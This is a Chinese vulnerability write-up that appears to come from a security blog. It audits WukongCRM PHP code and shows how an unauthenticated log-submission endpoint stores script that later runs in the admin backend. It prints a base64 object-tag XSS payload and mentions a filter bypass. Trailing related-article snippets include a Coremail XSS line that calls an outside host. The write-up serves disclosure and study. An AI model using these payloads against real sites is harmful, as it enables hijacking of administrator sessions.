无需登录-悟空CRM 存储型XSS
无需登录-悟空CRM 存储型XSS
审计悟空的缘由是看见某云爆出CRM的getshell,于是就想着去挖出来瞅瞅!但可能自己把自己给局限了,就想着去挖那些无限制访问的文件。
故事的发生点
漏洞文件:/App/Lib/Action/LogAction.class.php
public function wxadd(){
if($_POST['subject']){
$log = M('Log');
$log->create();
$log->create_date = time();
$log->update_date = time();
$log->role_id = $_GET['id'];
if($log->add()){
$this->success(L('ADD SUCCESS', array(L('LOG'))));
}else{
$this->error(L('ADD_LOG_FAILED'));
}
}else{
$this->display();
}
}
判断是否为post请求,如果条件为真则进入添加(这里要说一下,网站是开启了GPC的,但是存储入数据库时是进行了还原的)
public function index(){
$m_log = M('Log');
$m_comment = M('Comment');
$where = array();
$params = array();
$order = "create_date desc";
if($_GET['desc_order']){
$order = trim($_GET['desc_order']).' desc';
}elseif($_GET['asc_order']){
$order = trim($_GET['asc_order']).' asc';
}
$below_ids = getSubRoleId(false);
$all_ids = getSubRoleId();
$module = isset($_GET['module']) ? trim($_GET['module']) : '';
$by = isset($_GET['by']) ? trim($_GET['by']) : '';
switch ($by) {
case 'today' : $where['create_date'] = array('gt',strtotime(date('Y-m-d', time()))); break;
case 'week' : $where['create_date'] = array('gt',(strtotime(date('Y-m-d', time())) - (date('N', time()) - 1) * 86400)); break;
case 'month' : $where['create_date'] = array('gt',strtotime(date('Y-m-01', time()))); break;
case 'add' : $order = 'create_date desc'; break;
case 'update' : $order = 'update_date desc'; break;
case 'sub' : $where['role_id'] = array('in',implode(',', $below_ids)); break;
case 'me' : $where['role_id'] = session('role_id'); break;
default : $where['role_id'] = array('in',implode(',', $all_ids)); break;
}
if ($_GET['r'] && $_GET['module']){
$m_r = M($_GET['r']);
$log_ids = $m_r->getField('log_id', true);
$where['log_id'] = array('in', implode(',', $log_ids));
}
$where['role_id'] = array('in',implode(',', getSubRoleId()));
}
if(intval($_GET['type'])){
$where['category_id'] = intval($_GET['type']);
}else{
$where['category_id'] = array('neq',1);
}
if ($_REQUEST["field"]) {
$field = trim($_REQUEST['field']);
$search = empty($_REQUEST['search']) ? '' : trim($_REQUEST['search']);
$condition = empty($_REQUEST['condition']) ? 'eq' : trim($_REQUEST['condition']);
if ('create_date' == $field || 'update_date' == $field) {
$search = strtotime($search);
} elseif ('role_id' == $field) {
$condtion = "is";
}
$params = array('field='.$_REQUEST['field'], 'condition='.$condition, 'search='.trim($_REQUEST["search"]));
$field = trim($_REQUEST['field']) == 'all' ? 'subject|content' : $_REQUEST['field'];
switch ($_REQUEST['condition']) {
case "is" : $where[$field] = array('eq',$search);break;
case "isnot" : $where[$field] = array('neq',$search);break;
case "contains" : $where[$field] = array('like','%'.$search.'%');break;
case "not_contain" : $where[$field] = array('notlike','%'.$search.'%');break;
case "start_with" : $where[$field] = array('like',$search.'%');break;
case "end_with" : $where[$field] = array('like','%'.$search);break;
case "is_empty" : $where[$field] = array('eq','');break;
case "is_not_empty" : $where[$field] = array('neq','');break;
case "gt" : $where[$field] = array('gt',$search);break;
case "egt" : $where[$field] = array('egt',$search);break;
case "lt" : $where[$field] = array('lt',$search);break;
case "elt" : $where[$field] = array('elt',$search);break;
case "eq" : $where[$field] = array('eq',$search);break;
case "neq" : $where[$field] = array('neq',$search);break;
case "between" : $where[$field] = array('between',array($search-1,$search+86400));break;
case "nbetween" : $where[$field] = array('not between',array($search,$search+86399));break;
case "tgt" : $where[$field] = array('gt',$search+86400);break;
上一页
}
}
$p = isset($_GET['p']) ? intval($_GET['p']) : 1 ;
$list = $m_log->where($where)->page($p.',10')->order($order)->select();
$count = $m_log->where($where)->count();
import("@.ORG.Page");
$Page = new Page($count,10);
if (!empty($_REQUEST['by'])){
$params['by'] = 'by=' . trim($_REQUEST['by']);
}
if (!empty($_REQUEST['r']) && !empty($_REQUEST['module'])) {
$params['r'] = 'r=' . trim($_REQUEST['r']);
$params['module'] = 'module=' . trim($_REQUEST['module']);
}
if (!empty($_REQUEST['type'])) {
$params['type'] = 'type=' . trim($_REQUEST['type']);
}
$this->parameter = implode('&', $params);
if ($_GET['desc_order']) {
$params[] = "desc_order=" . trim($_GET['desc_order']);
} elseif($_GET['asc_order']){
$params[] = "asc_order=" . trim($_GET['asc_order']);
}
$Page->parameter = implode('&', $params);
$show = $Page->show();
$this->assign('page',$show);
foreach($list as $key=>$value){
$list[$key]['creator'] = getUserByRoleId($value['role_id']);
if($m_comment->where("module='log' and module_id=%d", $value['log_id'])->select()){
$list[$key]['is_comment'] = 1;
}
}
$this->category_list = M('LogCategory')->order('order_id')->select();
//获取下级和自己的岗位列表,搜索用
$d_role_view = D('RoleView');
$this->role_list = $d_role_view->where('role.role_id in (%s)', implode(',', $below_ids))->select();
$this->assign('list',$list);
$this->alert = parseAlert();
$this->display();
}
首先要说下此为需要登录后的权限才能访问的页面,然后则是查询咱们log表中的内容,以正序的方式查询。最后用assign直接输出到了当前模板中0.0 我这里就简单的说明了。函数内容太多!!!一个个的说挺费劲的。说的不对希望指出
验证漏洞:
这里还感谢90群里面的roisatm表哥提供了一种绕过悟空CRM的webscan方法
未登录下可访问的页面
填入咱们的测试XSS
object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSm9zZXBoIik7PC9zY3JpcHQ+=">
/object>
没有拦截,只有顺畅的感觉就是棒棒哒
现在登录去后台看下
上一页
无需登录-悟空CRM 存储型XSS的更多相关文章
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- Java Web开发 - 持久型/存储型XSS漏洞
Java Web开发 - 持久型/存储型XSS漏洞 1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧, ...
- 【代码审计】大米CMS_V5.5.3 后台多处存储型XSS漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- DVWA(七):XSS(stored)存储型XSS攻击
存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...
- 74CMS 3.0 存储型XSS漏洞
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...
- 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss
转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...
- Coremail邮件系统存储型XSS两个
(1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...
- DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting
上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...
- 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
随机推荐
- Java开发中的23种设计模式详解(转载)
前学习过一段时间的设计模式,总是感觉学习的不够清楚.现在再重新复习一下,原文地址:https://blog.csdn.net/doymm2008/article/details/13288067 一. ...
- python的N个小功能(找到要爬取的验证码链接,并大量下载验证码样本)
# -*- coding: utf-8 -*- """ Created on Mon Mar 21 11:04:54 2017 @author: sl "&qu ...
- Qt 5.9.1 连 MYSQL 5.7数据库
Qt程序报错: QSqlDatabase: QMYSQL driver not loaded QSqlDatabase: available drivers: QSQLITE QMYSQL QMYSQ ...
- 多进程编程之system()函数
1.system函数: 使用函数system,在程序中执行一个shell命令字符串很方便.它是一个和操作系统紧密相关的函数,用户可以使用它在自己的程序中调用系统提供的各种命令,执行系统的命令行,其实也 ...
- CF702F T-Shirts
题目描述 The big consignment of t-shirts goes on sale in the shop before the beginning of the spring. In ...
- MT【117】立体几何里的一道分类讨论题
评:最后用到了中间的截面三角形两边之和大于第三边.能不能构成三棱锥时考虑压扁的"降维"打击是常见的方式.
- Kerberos无约束委派的攻击和防御
0x00 前言简介 当Active Directory首次与Windows 2000 Server一起发布时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos对Web服务器进行身 ...
- VIM 模板
Vim实现自动加载模版功能可以有很多的方法,比如利用插件和AutoCmd等.根据文件名自动加载模板的功能利用网上某大牛自己写的插件实现,我针对Java代码进行简单地修改,以实现模板中的Java主类类名 ...
- 解题:USACO15JAN Grass Cownoisseur
解题 首先缩点没啥可说的,然后考虑枚举这次逆行的边.具体来说在正常的图和反图上各跑一次最长路,然后注意减掉起点的贡献,用拓扑排序实现(我这里瞎写了个Bellman_Ford,其实在DAG上这好像和拓扑 ...
- bzoj4427【Nwerc2015】Cleaning Pipes清理管道
题目描述 Linköping有一个相当复杂的水资源运输系统.在Linköping周围的出水点有一些水井.这些水通过管道输送到其它地点.每条管道是从某一个水井到城市的某个位置的直线管道. 所有管道在地下 ...